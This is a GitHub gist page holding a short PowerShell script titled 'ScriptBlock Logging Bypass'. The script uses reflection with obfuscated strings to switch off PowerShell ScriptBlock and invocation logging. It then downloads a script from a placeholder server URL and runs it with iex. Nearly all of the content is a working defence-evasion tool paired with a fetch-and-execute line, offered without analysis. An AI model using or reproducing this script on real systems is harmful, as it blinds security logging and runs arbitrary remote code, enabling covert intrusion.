Skip to content

Instantly share code, notes, and snippets.

@ssssanr
Forked from cobbr/ScriptBlockLogBypass.ps1
Created June 29, 2017 07:45
Show Gist options
  • Save ssssanr/692ac82e7c30abfc56234173dbf281c7 to your computer and use it in GitHub Desktop.
Save ssssanr/692ac82e7c30abfc56234173dbf281c7 to your computer and use it in GitHub Desktop.
ScriptBlock Logging Bypass
# ScriptBlock Logging Bypass
# @cobbr_io
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment